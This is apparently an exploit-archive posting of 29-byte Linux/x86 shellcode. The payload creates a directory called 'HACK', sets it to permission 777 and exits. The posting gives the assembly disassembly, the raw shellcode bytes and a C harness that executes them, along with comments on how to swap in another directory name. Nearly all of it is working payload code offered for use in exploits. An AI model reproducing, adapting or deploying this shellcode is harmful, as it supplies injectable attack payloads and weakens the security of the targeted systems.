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Linux/x86 mkdir / chmod Shellcode

Linux/x86 mkdir / chmod Shellcode
Posted Jun 22, 2015
Authored by B3mB4m

29 bytes small mkdir HACK and chmod 777 and exit(0) shellcode.

tags | shellcode
SHA-256 | 7e4f76745a4a18bf209987c7fed55be4df47c18655fd51ab200f288f5b53157a

Linux/x86 mkdir / chmod Shellcode

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Linux/x86 - mkdir HACK & chmod 777 and exit(0) - 29 Bytes

#Greetz : Bomberman(Leader)
#Author : B3mB4m


#Auxiliary tools (50% time gain !)
#https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/convertstack.py
#https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/ASMtoShellcode.py


Disassembly of section .text:

08048060 <.text>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 48 41 43 4b push $0x4b434148 #You can change it !
8048068: b0 27 mov $0x27,%al
804806a: 89 e3 mov %esp,%ebx
804806c: 66 41 inc %cx
804806e: cd 80 int $0x80
8048070: b0 0f mov $0xf,%al
8048072: 66 b9 ff 01 mov $0x1ff,%cx
8048076: cd 80 int $0x80
8048078: 31 c0 xor %eax,%eax
804807a: 40 inc %eax
804807b: cd 80 int $0x80


#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x68\x48\x41\x43\x4b\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80";


//First push always start with byte 68.Also mov b0.
//Than just push your string between byte 68 - b0 ! :)
//Here it is -> \x68 "\x48\x41\x43\x4b\" xb0 GOODLUCK !


int main(void){
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();}
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